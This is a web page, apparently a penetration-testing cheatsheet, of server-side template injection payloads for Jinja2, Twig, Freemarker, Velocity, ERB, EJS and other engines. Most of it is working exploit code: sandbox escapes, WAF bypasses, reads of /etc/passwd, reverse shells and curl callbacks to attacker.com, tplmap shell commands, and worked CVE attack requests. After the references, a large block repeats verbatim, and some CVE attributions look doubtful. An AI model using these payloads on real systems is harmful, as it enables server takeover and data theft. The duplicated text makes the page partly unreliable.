SSTI Payload Cheatsheet: Every Template Engine — Detection to RCE
Thu May 28 2026
Category: Cheatsheet
Scope: Detection through RCE for every mainstream template engine. For exploiting blind SSTI (no visible output), see the dedicated Blind SSTI to RCE writeup.
Detection: Engine-Agnostic Probes
Inject these and observe the output. Each probe is designed to produce a distinct response that fingerprints the engine.
{{7*7}} → 49 Jinja2, Twig, Nunjucks, Pebble
${7*7} → 49 Freemarker, Groovy, Thymeleaf (SpEL)
#{7*7} → 49 Mako, some EL contexts
<%= 7*7 %> → 49 ERB, EJS
{{7*'7'}} → 7777777 Jinja2
{{7*'7'}} → 49 Twig
${{7*7}} → 49 Angular, some custom engines
{7*7} → 49 Smarty (older), some Mustache variants
${{"7"*7}} → 49 Groovy
@(7*7) → 49 Razor (.NET)
*{7*7} → 49 Thymeleaf (selection expressions)
Decision Tree
{{7*7}} → 49?
├── YES → {{7*'7'}} = ?
│ ├── 7777777 → Jinja2 (Python)
│ └── 49 → Twig (PHP) or Nunjucks (Node.js)
│
└── NO → ${7*7} → 49?
├── YES → Freemarker / Velocity / Groovy (Java)
└── NO → <%= 7*7 %> → 49?
├── YES → ERB (Ruby) or EJS (Node.js)
└── NO → #{7*7} → 49?
├── YES → Mako (Python)
└── NO → Possibly Blind SSTI
Jinja2 (Python — Flask, Django, Ansible)
Basic Info Leak
{{7*7}}
{{config}}
{{config.items()}}
{{config.__class__.__init__.__globals__}}
{{request}}
{{request.environ}}
{{self.__dict__}}
{{self._TemplateReference__context}}
RCE via MRO Chain
# Python 2 / older Flask
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('id', shell=True, stdout=-1).communicate()[0].strip()}}
# Python 3 / modern Flask
{{''.__class__.__bases__[0].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (varies by Python version/installed packages)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}{{c(['id'],stdout=-1).communicate()[0]}}{% endif %}
{% endfor %}
# Use index once found (e.g. index 229, 273, 414 — varies)
{{''.__class__.__mro__[1].__subclasses__()[229](['id'],stdout=-1).communicate()[0]}}
RCE via Global Objects
# os via config object
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('id').read()}}
# os via request globals
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Jinja2 built-in helpers that expose globals
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}
# get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
Sandbox Escape (Jinja2 Sandbox)
# attr() filter to avoid dot notation filters
{{''|attr('__class__')|attr('__mro__')|list|last|attr('__subclasses__')()}}
# __getitem__ alternative
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(229)(['id'],stdout=-1).communicate()}}
# Hex-encoded attribute names
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}
# String concatenation to avoid keyword filters
{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subclas'+'ses__']()[229](['id'],stdout=-1).communicate()}}
# Format string trick
{{'%s'%''.__class__}}
# dict filter
{{dict(__class__=1)|list}}
File Read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
{{open('/etc/passwd').read()}} # if open() accessible in globals
{{config.__class__.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
Twig (PHP — Symfony, Drupal, Craft CMS)
Basic
{{7*7}}
{{_self.env}}
{{_self.env.enabled}}
{{app.user}}
{{app.request.server.all|join(',')}}
RCE
# Twig < 1.32 (direct filter abuse)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("passthru")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
# Via array/map filter
{{["id"]|filter("system")}}
{{["id"]|map("system")|join}}
{{["id", "0"]|sort("passthru")}}
{{[0]|reduce("system","id")}}
# Via setCache / loadTemplate
{{_self.env.setCache("ftp://attacker.com:21/")}}
{{_self.env.loadTemplate("backdoor")}}
# PHP functions via macros (Twig 3.x)
{% macro rce(cmd) %}{% set x = cmd|split('')|join %}{% endmacro %}
Info Leak
{{_self.env.getExtension('Symfony\\Bridge\\Twig\\Extension\\ProfilerExtension')}}
{{app.request.cookies}}
{{app.session.all}}
{{app.user.username}}
Freemarker (Java — Spring, JBoss, Adobe ColdFusion)
Basic
${7*7}
${.data_model?keys}
${.globals?keys}
RCE
# Classic Execute
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# ObjectConstructor + ProcessBuilder
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["id"])>
<#assign is=pb.start().getInputStream()>
<#assign isr=ob("java.io.InputStreamReader",is)>
<#assign br=ob("java.io.BufferedReader",isr)>
<#assign line=br.readLine()>
${line}
# Direct JVM
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("curl http://attacker.com/$(id)")}
# Runtime.exec via API
<#assign rt="java.lang.Runtime"?new()>
Velocity (Java — Apache, Atlassian Confluence)
Basic
#set($x = 7*7)
$x
$class.inspect("java.lang.Runtime").type
RCE
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($rt=$class.inspect("java.lang.Runtime").type)
#set($ex=$rt.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
# Shorter variant
#set($e="e")
#set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
#set($proc=$run.exec("id"))
#set($is=$proc.getInputStream())
#set($br=$e.getClass().forName("java.io.BufferedReader").getConstructor($e.getClass().forName("java.io.InputStreamReader")).newInstance($is))
$br.readLine()
# Via Context tools
#set($cmd = "id")
#evaluate("#set($x=$date.getClass().forName('java.lang.Runtime').getRuntime().exec($cmd))")
Smarty (PHP)
# Old versions (Smarty 2.x) — direct PHP
{php}system('id');{/php}
{php}phpinfo();{/php}
{php}echo shell_exec($_GET['cmd']);{/php}
# Via {include} with PHP tag injection
{include file="php:passthru('id')"}
# Modern Smarty (3.x+, no {php} tag by default)
{system('id')}
{'id'|system}
{$smarty.template_object->smarty->registerPlugin('modifier','e','exec')}{'id'|e}
# Smarty sandbox escape
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# Object method call
{$x=$smarty.template_object->smarty}
{$x->registerPlugin('modifier','shell','shell_exec')}
{'id'|shell}
ERB (Ruby — Rails, Sinatra)
<%= 7*7 %>
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
<%= require 'open3'; Open3.capture2('id')[0] %>
<%= Dir.entries('/') %>
<%= ENV['SECRET_KEY_BASE'] %>
# Reverse shell
<%= require 'socket'; s=TCPSocket.new('attacker.com',4444); $stdin=s; $stdout=s; $stderr=s; exec('/bin/bash') %>
# Blind via HTTP
<%= require 'net/http'; Net::HTTP.get(URI('http://attacker.com/?x='+`id`.chomp)) %>
Mako (Python — Pyramid, some Flask setups)
${7*7}
${__import__('os').system('id')}
${__import__('os').popen('id').read()}
<%
import os
result = os.popen('id').read()
%>
${result}
# Via request object
${request.environ}
${request.GET['x']}
# Reverse shell
<%
import socket,subprocess,os
s=socket.socket()
s.connect(('attacker.com',4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(['/bin/bash','-i'])
%>
Thymeleaf (Java — Spring Boot)
# Expression types
${...} → Variable (Spring EL / OGNL)
*{...} → Selection
#{...} → Message
@{...} → URL
~{...} → Fragment
# Info leak
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().availableProcessors()}
# RCE via SpEL
${T(java.lang.Runtime).getRuntime().exec('id')}
*{T(java.lang.Runtime).getRuntime().exec('id')}
# RCE with output capture
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()}
# Longer but reliable
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new char[]{105,100})).getInputStream())}
# URL expression abuse (template in URL param, no sandbox)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("curl http://attacker.com/$(id)")}__::.x
# Via ProcessBuilder
${new java.lang.ProcessBuilder(new String[]{"id"}).start().waitFor()}
Nunjucks (Node.js — Express)
{{7*7}}
{{global.process.version}}
{{global.process.env}}
{{global.process.mainModule.require('child_process').execSync('id').toString()}}
# Via range constructor
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
# Via cycler
{{cycler.constructor("return process.mainModule.require('child_process').execSync('id').toString()")()}}
# File read
{{range.constructor("return require('fs').readFileSync('/etc/passwd','utf8')")()}}
Handlebars (Node.js)
# Handlebars sandboxes `this` but prototype chain can be walked
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
# Prototype pollution via __proto__
{{__proto__.polluted}}
{{constructor.constructor('return process.env')()}}
EJS (Node.js — Express)
<%= 7*7 %>
<%= process.version %>
<%= process.env %>
<%= require('child_process').execSync('id').toString() %>
<% var x = require('child_process').execSync('id').toString(); %>
<%= x %>
# File read
<%= require('fs').readFileSync('/etc/passwd','utf8') %>
# Reverse shell
<% require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1') %>
Tornado (Python)
{% import os %}{{ os.system("id") }}
{% set x=__import__('os').popen('id').read() %}{{x}}
# Module import
{% from os import popen %}{{popen('id').read()}}
# Raw block bypass
{% raw %}{{7*7}}{% end %}
Pebble (Java)
{% set x = "freemarker.template.utility.Execute"?new() %}
{{ x("id") }}
# Runtime exec
{%set rt = "java.lang.Runtime".forName(null).getRuntime()%}
{%set process = rt.exec("id")%}
{%set is = process.getInputStream()%}
{%set br = "java.io.BufferedReader".forName(null).getConstructor("java.io.InputStreamReader".forName(null)).newInstance(is)%}
{{br.readLine()}}
Groovy (Java — Jenkins, Gradle scripts)
${"id".execute().text}
${["id"].execute().text}
${"bash,-c,id".tokenize(',').execute().text}
<% def x = "id".execute().text %>
${x}
// Jenkins Script Console (direct Groovy)
println "id".execute().text
["bash","-c","id"].execute().text
Runtime.exec("id")
// Reverse shell in Jenkins
String host="attacker.com";
int port=4444;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());...}
Razor (.NET — ASP.NET MVC)
@(7*7)
@System.Diagnostics.Process.Start("cmd.exe","/c whoami")
@{var x = new System.Diagnostics.Process(); x.StartInfo.FileName="cmd.exe"; x.StartInfo.Arguments="/c id"; x.Start(); }
@System.IO.File.ReadAllText("C:\\Windows\\win.ini")
Blind SSTI Techniques
When there is no output returned, use out-of-band channels:
DNS Callback (Jinja2)
# Uses subprocess to issue DNS lookup
{{''.__class__.__mro__[1].__subclasses__()[229](['nslookup','attacker.com'],stdout=-1).communicate()}}
# Curl callback with command output
{{''.__class__.__mro__[1].__subclasses__()[229](['curl','http://attacker.com/?x='+__import__('os').popen('id').read().strip()],stdout=-1).communicate()}}
Timing Attack (Jinja2)
# Sleep 5 seconds to confirm execution
{{''.__class__.__mro__[1].__subclasses__()[229](['sleep','5'],stdout=-1).communicate()}}
# Conditional sleep: true if user is 'root'
{{''.__class__.__mro__[1].__subclasses__()[229](['sh','-c','if [ $(id -u) -eq 0 ]; then sleep 5; fi'],stdout=-1).communicate()}}
File Write to Web Root
# Write output to accessible path, then fetch it
{{''.__class__.__mro__[1].__subclasses__()[229](['sh','-c','id>/var/www/html/x.txt'],stdout=-1).communicate()}}
# Then: curl http://target.com/x.txt
ERB Blind
<%= require 'net/http'; Net::HTTP.get(URI('http://attacker.com/?x='+`id`.chomp)) %>
Freemarker Blind
<#assign ex="freemarker.template.utility.Execute"?new()>
${ex("curl http://attacker.com/?x=$(id)")}
WAF Bypass for SSTI
Jinja2 — Dot Notation Bypass
# attr() filter instead of dots
{{''|attr('__class__')|attr('__mro__')|list}}
# Hex-encoded attribute name
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}
# Unicode encoded
{{''['__class__']}}
# String concatenation
{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subcla'+'sses__']()}}
# __getitem__ method
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(0)}}
# Indirect via request args (if Jinja2 auto-escaping off)
{{request|attr('application')|attr('\x5f\x5fglobals\x5f\x5f')}}
# Format filter
{{'%s'.__class__}}
Twig — Keyword Evasion
# If "system" is blocked
{{"id"|passthru}}
{{["id"]|map("shell_exec")|join}}
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
Blocking {{}}
# Some WAFs block {{ but not {%
{% set x = 7*7 %}{{ x }}
{% print(7*7) %} # some engines
Tools
| Tool | Command |
|---|---|
| tplmap | python tplmap.py -u 'http://target.com/?name=*' |
| SSTImap | python sstimap.py -u 'http://target.com/?name=*' --os-shell |
| Burp Intruder | Fuzz injection points with detection list |
tplmap Common Flags
# Basic scan
python tplmap.py -u "http://target.com/?name=*"
# POST data
python tplmap.py -u "http://target.com/page" -d "name=*"
# Interactive OS shell
python tplmap.py -u "http://target.com/?name=*" --os-shell
# File upload
python tplmap.py -u "http://target.com/?name=*" --upload /local/file /remote/path
# Reverse shell
python tplmap.py -u "http://target.com/?name=*" --os-shell --reverse-shell attacker.com:4444
Real-World Examples
| CVE / Incident | Year | Engine | Impact |
|---|---|---|---|
| CVE-2019-11496 | 2019 | Pebble (Javalin) | SSTI → RCE in Javalin web framework |
| CVE-2019-3799 | 2019 | Freemarker (Spring Cloud) | SSTI → arbitrary file read + RCE via Spring Cloud Config |
| CVE-2020-9484 | 2020 | Velocity (Apache Tomcat) | SSTI in deserialization chain |
| CVE-2022-22963 | 2022 | Spring Cloud Function | SpEL injection → RCE (Spring4Shell precursor) |
| CVE-2022-22965 | 2022 | Spring Framework | Spring4Shell — SpEL/Thymeleaf class loader manipulation → RCE |
| CVE-2023-36934 | 2023 | MOVEit Transfer | SSTI in .NET Razor → unauthenticated RCE |
| Uber H1 Report | 2016 | Jinja2 | SSTI in flask render_template_string() → full server access |
| HackerOne — Shopify | 2015 | Liquid (Ruby) | SSTI → info leak in email templates |
CTF Machines
- HTB: FormulaX — Nunjucks SSTI via chat bot input
- HTB: Encoding — PHP filter chain SSTI-like exploitation
- HTB: Templated — Jinja2 SSTI → RCE in Flask app (beginner friendly)
- HTB: Bolt — Twig SSTI in CMS template editor
- PicoCTF 2022 — Python Jinja2 SSTI challenge
- HTB: Catch — Pebble template injection in Android app API
Bug Bounty Highlights
- Shopify Liquid (2015): Employee subdomain with Liquid SSTI → server-side code execution, $25,000
- Uber (2016):
partners.uber.comJinja2 SSTI → server environment variables exposure, $10,000 - Sandbox.io (2018): Freemarker SSTI → RCE on shared infrastructure, critical
Example: CVE-2022-22965 — Spring4Shell (Thymeleaf/SpEL RCE)
# Exploit Spring Framework RCE via class loader manipulation
POST /register HTTP/1.1
Content-Type: application/x-www-form-urlencoded
class.module.classLoader.resources.context.parent.pipeline.first.pattern=
%25%7B(new+java.util.Scanner(
T(java.lang.Runtime).getRuntime().exec("id").getInputStream()
)).useDelimiter("\\A").next()%7D%25
# Or direct SpEL via Thymeleaf expression
GET /__$%7BT(java.lang.Runtime).getRuntime().exec('id')%7D__::.x HTTP/1.1
Example: Uber SSTI (2016) — Jinja2 RCE
# Vulnerable endpoint: partners.uber.com/partners/<template>
# Input injected into: render_template_string(user_input)
GET /partners/{{config}} HTTP/1.1
# Leaks Flask config, SECRET_KEY, DATABASE_URI
GET /partners/{{lipsum.__globals__['os'].popen('id').read()}} HTTP/1.1
# Output: uid=33(www-data) gid=33(www-data)
# Reverse shell
GET /partners/{{lipsum.__globals__['os'].popen('bash -c "bash -i >%26 /dev/tcp/attacker.com/4444 0>%261"').read()}}
Example: HTB: Bolt — Twig SSTI
# Admin panel allows custom templates — input reflected via Twig
# Detection
{{7*7}} → 49 ✓
# RCE
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
# Output: uid=33(www-data)
# Reverse shell
{{_self.env.registerUndefinedFilterCallback("system")}}
{{_self.env.getFilter("bash -c 'bash -i >& /dev/tcp/attacker.com/4444 0>&1'")}}
Example: CVE-2019-3799 — Spring Cloud Config SSTI (Freemarker)
# Vulnerable endpoint: /actuator/env
POST /actuator/env HTTP/1.1
Content-Type: application/json
{"name":"spring.cloud.bootstrap.location",
"value":"http://attacker.com/malicious.yml"}
# malicious.yml contains Freemarker SSTI
POST /actuator/refresh HTTP/1.1
{}
# Triggers template evaluation → RCE
Defense Checklist
- Never render user-controlled input through a template engine
- If dynamic templates are required, use a sandboxed engine (Jinja2's SandboxedEnvironment)
- Whitelist allowed expressions / characters
- Treat template rendering like
eval()— it executes code - Apply CSP to limit impact of successful injection
- Monitor for template syntax in user input
References
Scope: Detection through RCE for every mainstream template engine. For exploiting blind SSTI (no visible output), see the dedicated Blind SSTI to RCE writeup.
Detection: Engine-Agnostic Probes
Inject these and observe the output. Each probe is designed to produce a distinct response that fingerprints the engine.
{{7*7}} → 49 Jinja2, Twig, Nunjucks, Pebble
${7*7} → 49 Freemarker, Groovy, Thymeleaf (SpEL)
#{7*7} → 49 Mako, some EL contexts
<%= 7*7 %> → 49 ERB, EJS
{{7*'7'}} → 7777777 Jinja2
{{7*'7'}} → 49 Twig
${{7*7}} → 49 Angular, some custom engines
{7*7} → 49 Smarty (older), some Mustache variants
${{"7"*7}} → 49 Groovy
@(7*7) → 49 Razor (.NET)
*{7*7} → 49 Thymeleaf (selection expressions)
Decision Tree
{{7*7}} → 49?
├── YES → {{7*'7'}} = ?
│ ├── 7777777 → Jinja2 (Python)
│ └── 49 → Twig (PHP) or Nunjucks (Node.js)
│
└── NO → ${7*7} → 49?
├── YES → Freemarker / Velocity / Groovy (Java)
└── NO → <%= 7*7 %> → 49?
├── YES → ERB (Ruby) or EJS (Node.js)
└── NO → #{7*7} → 49?
├── YES → Mako (Python)
└── NO → Possibly Blind SSTI
Jinja2 (Python — Flask, Django, Ansible)
Basic Info Leak
{{7*7}}
{{config}}
{{config.items()}}
{{config.__class__.__init__.__globals__}}
{{request}}
{{request.environ}}
{{self.__dict__}}
{{self._TemplateReference__context}}
RCE via MRO Chain
# Python 2 / older Flask
{{''.__class__.__mro__[2].__subclasses__()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('/etc/passwd').read()}}
{{''.__class__.__mro__[2].__subclasses__()[40]('id', shell=True, stdout=-1).communicate()[0].strip()}}
# Python 3 / modern Flask
{{''.__class__.__bases__[0].__subclasses__()}}
{{''.__class__.__mro__[1].__subclasses__()}}
# Find subprocess.Popen index (varies by Python version/installed packages)
{% for c in ''.__class__.__mro__[1].__subclasses__() %}
{% if c.__name__ == 'Popen' %}{{c(['id'],stdout=-1).communicate()[0]}}{% endif %}
{% endfor %}
# Use index once found (e.g. index 229, 273, 414 — varies)
{{''.__class__.__mro__[1].__subclasses__()[229](['id'],stdout=-1).communicate()[0]}}
RCE via Global Objects
# os via config object
{{config.__class__.__init__.__globals__['os'].popen('id').read()}}
{{config.__class__.__init__.__globals__['__builtins__'].__import__('os').popen('id').read()}}
# os via request globals
{{request.application.__globals__.__builtins__.__import__('os').popen('id').read()}}
# Jinja2 built-in helpers that expose globals
{{cycler.__init__.__globals__.os.popen('id').read()}}
{{joiner.__init__.__globals__.os.popen('id').read()}}
{{namespace.__init__.__globals__.os.popen('id').read()}}
{{lipsum.__globals__['os'].popen('id').read()}}
# get_flashed_messages
{{get_flashed_messages.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['__builtins__']['__import__']('os').popen('id').read()}}
Sandbox Escape (Jinja2 Sandbox)
# attr() filter to avoid dot notation filters
{{''|attr('__class__')|attr('__mro__')|list|last|attr('__subclasses__')()}}
# __getitem__ alternative
{{().__class__.__bases__.__getitem__(0).__subclasses__().__getitem__(229)(['id'],stdout=-1).communicate()}}
# Hex-encoded attribute names
{{''['\x5f\x5f\x63\x6c\x61\x73\x73\x5f\x5f']}}
# String concatenation to avoid keyword filters
{{''['__cla'+'ss__']['__mr'+'o__'][1]['__subclas'+'ses__']()[229](['id'],stdout=-1).communicate()}}
# Format string trick
{{'%s'%''.__class__}}
# dict filter
{{dict(__class__=1)|list}}
File Read
{{''.__class__.__mro__[1].__subclasses__()[40]('/etc/passwd').read()}}
{{open('/etc/passwd').read()}} # if open() accessible in globals
{{config.__class__.__init__.__globals__['__builtins__'].open('/etc/passwd').read()}}
Twig (PHP — Symfony, Drupal, Craft CMS)
Basic
{{7*7}}
{{_self.env}}
{{_self.env.enabled}}
{{app.user}}
{{app.request.server.all|join(',')}}
RCE
# Twig < 1.32 (direct filter abuse)
{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("passthru")}}{{_self.env.getFilter("id")}}
{{_self.env.registerUndefinedFilterCallback("system")}}{{_self.env.getFilter("id")}}
# Via array/map filter
{{["id"]|filter("system")}}
{{["id"]|map("system")|join}}
{{["id", "0"]|sort("passthru")}}
{{[0]|reduce("system","id")}}
# Via setCache / loadTemplate
{{_self.env.setCache("ftp://attacker.com:21/")}}
{{_self.env.loadTemplate("backdoor")}}
# PHP functions via macros (Twig 3.x)
{% macro rce(cmd) %}{% set x = cmd|split('')|join %}{% endmacro %}
Info Leak
{{_self.env.getExtension('Symfony\\Bridge\\Twig\\Extension\\ProfilerExtension')}}
{{app.request.cookies}}
{{app.session.all}}
{{app.user.username}}
Freemarker (Java — Spring, JBoss, Adobe ColdFusion)
Basic
${7*7}
${.data_model?keys}
${.globals?keys}
RCE
# Classic Execute
<#assign ex="freemarker.template.utility.Execute"?new()>${ex("id")}
# ObjectConstructor + ProcessBuilder
<#assign ob="freemarker.template.utility.ObjectConstructor"?new()>
<#assign pb=ob("java.lang.ProcessBuilder",["id"])>
<#assign is=pb.start().getInputStream()>
<#assign isr=ob("java.io.InputStreamReader",is)>
<#assign br=ob("java.io.BufferedReader",isr)>
<#assign line=br.readLine()>
${line}
# Direct JVM
${"freemarker.template.utility.Execute"?new()("id")}
${"freemarker.template.utility.Execute"?new()("curl http://attacker.com/$(id)")}
# Runtime.exec via API
<#assign rt="java.lang.Runtime"?new()>
Velocity (Java — Apache, Atlassian Confluence)
Basic
#set($x = 7*7)
$x
$class.inspect("java.lang.Runtime").type
RCE
#set($str=$class.inspect("java.lang.String").type)
#set($chr=$class.inspect("java.lang.Character").type)
#set($rt=$class.inspect("java.lang.Runtime").type)
#set($ex=$rt.getRuntime().exec("id"))
$ex.waitFor()
#set($out=$ex.getInputStream())
#foreach($i in [1..$out.available()])
$str.valueOf($chr.toChars($out.read()))
#end
# Shorter variant
#set($e="e")
#set($run=$e.getClass().forName("java.lang.Runtime").getMethod("getRuntime").invoke(null))
#set($proc=$run.exec("id"))
#set($is=$proc.getInputStream())
#set($br=$e.getClass().forName("java.io.BufferedReader").getConstructor($e.getClass().forName("java.io.InputStreamReader")).newInstance($is))
$br.readLine()
# Via Context tools
#set($cmd = "id")
#evaluate("#set($x=$date.getClass().forName('java.lang.Runtime').getRuntime().exec($cmd))")
Smarty (PHP)
# Old versions (Smarty 2.x) — direct PHP
{php}system('id');{/php}
{php}phpinfo();{/php}
{php}echo shell_exec($_GET['cmd']);{/php}
# Via {include} with PHP tag injection
{include file="php:passthru('id')"}
# Modern Smarty (3.x+, no {php} tag by default)
{system('id')}
{'id'|system}
{$smarty.template_object->smarty->registerPlugin('modifier','e','exec')}{'id'|e}
# Smarty sandbox escape
{Smarty_Internal_Write_File::writeFile($SCRIPT_NAME,"<?php passthru($_GET['cmd']); ?>",self::clearConfig())}
# Object method call
{$x=$smarty.template_object->smarty}
{$x->registerPlugin('modifier','shell','shell_exec')}
{'id'|shell}
ERB (Ruby — Rails, Sinatra)
<%= 7*7 %>
<%= system('id') %>
<%= `id` %>
<%= IO.popen('id').read %>
<%= File.read('/etc/passwd') %>
<%= require 'open3'; Open3.capture2('id')[0] %>
<%= Dir.entries('/') %>
<%= ENV['SECRET_KEY_BASE'] %>
# Reverse shell
<%= require 'socket'; s=TCPSocket.new('attacker.com',4444); $stdin=s; $stdout=s; $stderr=s; exec('/bin/bash') %>
# Blind via HTTP
<%= require 'net/http'; Net::HTTP.get(URI('http://attacker.com/?x='+`id`.chomp)) %>
Mako (Python — Pyramid, some Flask setups)
${7*7}
${__import__('os').system('id')}
${__import__('os').popen('id').read()}
<%
import os
result = os.popen('id').read()
%>
${result}
# Via request object
${request.environ}
${request.GET['x']}
# Reverse shell
<%
import socket,subprocess,os
s=socket.socket()
s.connect(('attacker.com',4444))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
subprocess.call(['/bin/bash','-i'])
%>
Thymeleaf (Java — Spring Boot)
# Expression types
${...} → Variable (Spring EL / OGNL)
*{...} → Selection
#{...} → Message
@{...} → URL
~{...} → Fragment
# Info leak
${T(java.lang.System).getenv()}
${T(java.lang.Runtime).getRuntime().availableProcessors()}
# RCE via SpEL
${T(java.lang.Runtime).getRuntime().exec('id')}
*{T(java.lang.Runtime).getRuntime().exec('id')}
# RCE with output capture
${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()}
# Longer but reliable
${T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec(T(java.lang.String).valueOf(new char[]{105,100})).getInputStream())}
# URL expression abuse (template in URL param, no sandbox)
__${new java.util.Scanner(T(java.lang.Runtime).getRuntime().exec("id").getInputStream()).useDelimiter("\\A").next()}__::.x
__${T(java.lang.Runtime).getRuntime().exec("curl http://attacker.com/$(id)")}__::.x
# Via ProcessBuilder
${new java.lang.ProcessBuilder(new String[]{"id"}).start().waitFor()}
Nunjucks (Node.js — Express)
{{7*7}}
{{global.process.version}}
{{global.process.env}}
{{global.process.mainModule.require('child_process').execSync('id').toString()}}
# Via range constructor
{{range.constructor("return global.process.mainModule.require('child_process').execSync('id').toString()")()}}
# Via cycler
{{cycler.constructor("return process.mainModule.require('child_process').execSync('id').toString()")()}}
# File read
{{range.constructor("return require('fs').readFileSync('/etc/passwd','utf8')")()}}
Handlebars (Node.js)
# Handlebars sandboxes `this` but prototype chain can be walked
{{#with "s" as |string|}}
{{#with "e"}}
{{#with split as |conslist|}}
{{this.pop}}
{{this.push (lookup string.sub "constructor")}}
{{this.pop}}
{{#with string.split as |codelist|}}
{{this.pop}}
{{this.push "return require('child_process').execSync('id').toString();"}}
{{this.pop}}
{{#each conslist}}
{{#with (string.sub.apply 0 codelist)}}
{{this}}
{{/with}}
{{/each}}
{{/with}}
{{/with}}
{{/with}}
{{/with}}
# Prototype pollution via __proto__
{{__proto__.polluted}}
{{constructor.constructor('return process.env')()}}
EJS (Node.js — Express)
<%= 7*7 %>
<%= process.version %>
<%= process.env %>
<%= require('child_process').execSync('id').toString() %>
<% var x = require('child_process').execSync('id').toString(); %>
<%= x %>
# File read
<%= require('fs').readFileSync('/etc/passwd','utf8') %>
# Reverse shell
<% require('child_process').exec('bash -i >& /dev/tcp/attacker.com/4444 0>&1') %>
Tornado (Python)
{% import os %}{{ os.system("id") }}
{% set x=__import__('os').popen('id').read() %}{{x}}
# Module import
{% from os import popen %}{{popen('id').read()}}
# Raw block bypass
{% raw %}{{7*7}}{% end %}
Pebble (Java)
{% set x = "freemarker.template.utility.Execute"?new() %}
{{ x("id") }}
# Runtime exec
{%set rt = "java.lang.Runtime".forName(null).getRuntime()%}
{%set process = rt.exec("id")%}
{%set is = process.getInputStream()%}
{%set br = "java.io.BufferedReader".forName(null).getConstructor("java.io.InputStreamReader".forName(null)).newInstance(is)%}
{{br.readLine()}}
Groovy (Java — Jenkins, Gradle scripts)
${"id".execute().text}
${["id"].execute().text}
${"bash,-c,id".tokenize(',').execute().text}
<% def x = "id".execute().text %>
${x}
// Jenkins Script Console (direct Groovy)
println "id".execute().text
["bash","-c","id"].execute().text
Runtime.exec("id")
// Reverse shell in Jenkins
String host="attacker.com";
int port=4444;
String cmd="bash";
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();
Socket s=new Socket(host,port);
InputStream pi=p.getInputStream(),pe=p.getErrorStream(),si=s.getInputStream();
OutputStream po=p.getOutputStream(),so=s.getOutputStream();
while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());...}
